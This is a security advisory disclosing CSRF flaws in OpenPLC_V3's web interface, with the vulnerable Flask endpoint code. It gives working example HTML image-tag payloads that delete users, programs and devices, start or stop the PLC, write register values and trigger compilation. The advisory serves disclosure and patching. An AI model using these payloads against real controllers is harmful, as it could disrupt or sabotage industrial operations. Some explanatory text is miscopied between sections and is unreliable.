ICSA-25-345-10 - OpenPLC_V3 (Update A)
Overview
I found a few vulnerabilities in OpenPLC_V3 during a casual past-midnight code audit. I reported them to US-CERT (Cybersecurity and Infrastructure Security Agency - CISA).
Recommendations
- OpenPLC_V3 is end-of-life and no longer receiving updates. Users should migrate to OpenPLC V4
- If updating to OpenPLC V4 is not possible, users should apply the latest security patches
- The fork fixing these issues can be found at: https://github.com/shriyanss/OpenPLC_v3 (Unofficial; provided without warranty)
Vulnerabilities
- CVE-2026-28205: Initialization of a resource with an insecure default in OpenPLC_V3
- CVE-2026-35556: Plaintext storage of a password in OpenPLC_V3
- Incomplete remediation for CVE-2025-13970
Technical Details
CVE-2026-28205
More details can be found at /research/cve/CVE-2026-28205.
CVE-2026-35556
More details can be found at /research/cve/CVE-2026-35556.
Incomplete remediation for CVE-2025-13970
Description
Multiple CSRF were identified in OpenPLC_v3 which could potentially cause service disruption.
Affected Project
master branch as of Feb 14th 2026, or at commit hash bb35f6966b3e0258114284e3e6c11d7b5d32de8c
CVSS Info
CVSS Score: 8.0
CVSS Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:H1
Justification:
- Attack Vector (AV): Network
- This attack could be executed over the internet
- Attack Complexity (AC): High
- This attack requires significant reconnaissance on the target person before it could be executed
- Privileges Required (PR): None
- This attack does not requires an adversary to have any privileges
- User Interaction (UI): Required
- This attack requires the victim to visit a webpage
- Scope (S): Changed
- This attack affects underlying OT systems
- Confidentiality (C): None
- This attack doesn't impact confidentiality of data
- Integrity (I): High
- This attack allows an adversary to perform actions like modifying register values of an OT system
- Availability (A): High
- This attack allows an adversary to completely shut down the OT systems #### Root Cause Upon re-evaluation of fix(es) for CVE-2025-13970, it was found that the issue has been partially fixed. Some functionalities remain vulnerable to CSRF.
GET /delete-user
Following is the code responsible for handling this endpoint:
@app.route('/delete-user', methods=['GET', 'POST'])
def delete_user():
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
user_id = flask.request.args.get('user_id')
database = "openplc.db"
conn = create_connection(database)
if (conn != None):
try:
cur = conn.cursor()
cur.execute("SELECT username FROM Users WHERE user_id = ?", (int(user_id),))
row = cur.fetchone()
if (flask_login.current_user.id == row[0]):
cur.close()
conn.close()
return draw_blank_page() + "<h2>Error</h2><p>You cannot delete yourself!<br><br>Use the back-arrow on your browser to return</p></div></div></div></body></html>"
else:
cur = conn.cursor()
cur.execute("DELETE FROM Users WHERE user_id = ?", (int(user_id),))
conn.commit()
cur.close()
conn.close()
return flask.redirect(flask.url_for('users'))
except Error as e:
print("error connecting to the database" + str(e))
return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
else:
return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'It does not have any validation for CSRF token. This implies that an adversary can delete a user by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/delete-user?user_id=1">
<img src="http://target/delete-user?user_id=2">
<img src="http://target/delete-user?user_id=3">
<img src="http://target/delete-user?user_id=4">
<img src="http://target/delete-user?user_id=5">
<img src="http://target/delete-user?user_id=6">
<img src="http://target/delete-user?user_id=7">
...GET /remove-program
Following is the code responsible for handling this endpoint:
@app.route('/remove-program', methods=['GET', 'POST'])
def remove_program():
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
prog_id = flask.request.args.get('id')
database = "openplc.db"
conn = create_connection(database)
if (conn != None):
try:
cur = conn.cursor()
cur.execute("DELETE FROM Programs WHERE Prog_ID = ?", (int(prog_id),))
conn.commit()
cur.close()
conn.close()
return flask.redirect(flask.url_for('programs'))
except Error as e:
print("error connecting to the database" + str(e))
return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
else:
return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'It does not have any validation for CSRF token. This implies that an adversary can delete a program by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/remove-program?id=1">
<img src="http://target/remove-program?id=2">
<img src="http://target/remove-program?id=3">
<img src="http://target/remove-program?id=4">
<img src="http://target/remove-program?id=5">
<img src="http://target/remove-program?id=6">
<img src="http://target/remove-program?id=7">
...GET /delete-device
Following is the code responsible for handling this endpoint:
@app.route('/delete-device', methods=['GET', 'POST'])
def delete_device():
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
devid_db = flask.request.args.get('dev_id')
database = "openplc.db"
conn = create_connection(database)
if (conn != None):
try:
cur = conn.cursor()
cur.execute("DELETE FROM Slave_dev WHERE dev_id = ?", (int(devid_db),))
conn.commit()
cur.close()
conn.close()
generate_mbconfig()
return flask.redirect(flask.url_for('modbus'))
except Error as e:
print("error connecting to the database" + str(e))
return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.<br><br>Error: ' + str(e)
else:
return 'Error connecting to the database. Make sure that your openplc.db file is not corrupt.'It does not have any validation for CSRF token. This implies that an adversary can delete a device by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/delete-device?dev_id=1">
<img src="http://target/delete-device?dev_id=2">
<img src="http://target/delete-device?dev_id=3">
<img src="http://target/delete-device?dev_id=4">
<img src="http://target/delete-device?dev_id=5">
<img src="http://target/delete-device?dev_id=6">
<img src="http://target/delete-device?dev_id=7">
...GET /start_plc
Following is the code responsible for handling this endpoint:
@app.route('/start_plc')
def start_plc():
global openplc_runtime
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
monitor.stop_monitor()
openplc_runtime.start_runtime()
time.sleep(1)
configure_runtime()
monitor.cleanup()
monitor.parse_st(openplc_runtime.project_file)
return flask.redirect(flask.url_for('dashboard'))It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/start_plc">GET /stop_plc
Following is the code responsible for handling this endpoint:
@app.route('/stop_plc')
def stop_plc():
global openplc_runtime
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
openplc_runtime.stop_runtime()
time.sleep(1)
monitor.stop_monitor()
return flask.redirect(flask.url_for('dashboard'))It does not have any validation for CSRF token. This implies that an adversary can start the PLC by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/stop_plc">GET /point-write
Following is the code responsible for handling this endpoint:
@app.route('/point-write', methods=['GET', 'POST'])
def point_write():
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
point_value = flask.request.args.get('value')
point_address = flask.request.args.get('address')
monitor.write_value(point_address, int(point_value))
return ''It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/point-write?address=100&value=1">
...GET /compile-program
Following is the code responsible for handling this endpoint:
@app.route('/compile-program', methods=['GET', 'POST'])
def compile_program():
global openplc_runtime
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
st_file = flask.request.args.get('file')
#load information about the program being compiled into the openplc_runtime object
database = "openplc.db"
conn = create_connection(database)
if (conn != None):
try:
cur = conn.cursor()
cur.execute("SELECT * FROM Programs WHERE File=?", (st_file,))
row = cur.fetchone()
openplc_runtime.project_name = str(row[1])
openplc_runtime.project_description = str(row[2])
openplc_runtime.project_file = str(row[3])
cur.close()
conn.close()
except Error as e:
print("error connecting to the database" + str(e))
else:
print("error connecting to the database")
delete_persistent_file()
openplc_runtime.compile_program(st_file)
return draw_compiling_page()It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/compile-program?file=main.st">
...GET /restore_custom_hardware
Following is the code responsible for handling this endpoint:
def restore_custom_hardware():
if (flask_login.current_user.is_authenticated == False):
return flask.redirect(flask.url_for('login'))
else:
if (openplc_runtime.status() == "Compiling"): return draw_compiling_page()
#Restore the original custom layer code
with open('./core/psm/main.original') as f: original_code = f.read()
with open('./core/psm/main.py', 'w+') as f: f.write(original_code)
return flask.redirect(flask.url_for('hardware'))It does not have any validation for CSRF token. This implies that an adversary can write an arbitrary value to an address by having the administrator to visit a webpage with the following example HTML:
<img src="http://target/compile-program?file=main.st">
...Disclosure Timeline
Date format: YYYY-MM-DD
- 2026-02-13: CSRF Initial Discovery
- 2026-02-13: CSRF Disclosed to CISA
- 2026-02-13: Insecure Storage of Sensitive Information Discovered
- 2026-02-14: Insecure Initialization of Resource discovered
- 2026-02-14: Undisclosed Vulnerabilities Discovered
- 2026-02-17: Pull Request for CSRF: https://github.com/thiagoralves/OpenPLC_v3/pull/319
- 2026-02-19: Pull Request for Hashing: https://github.com/thiagoralves/OpenPLC_v3/pull/320
- 2026-02-25: Pull Request for Program Upload: https://github.com/thiagoralves/OpenPLC_v3/pull/322
- 2026-04-25: Advisory Update Published
- 2026-04-25: CVEs Assigned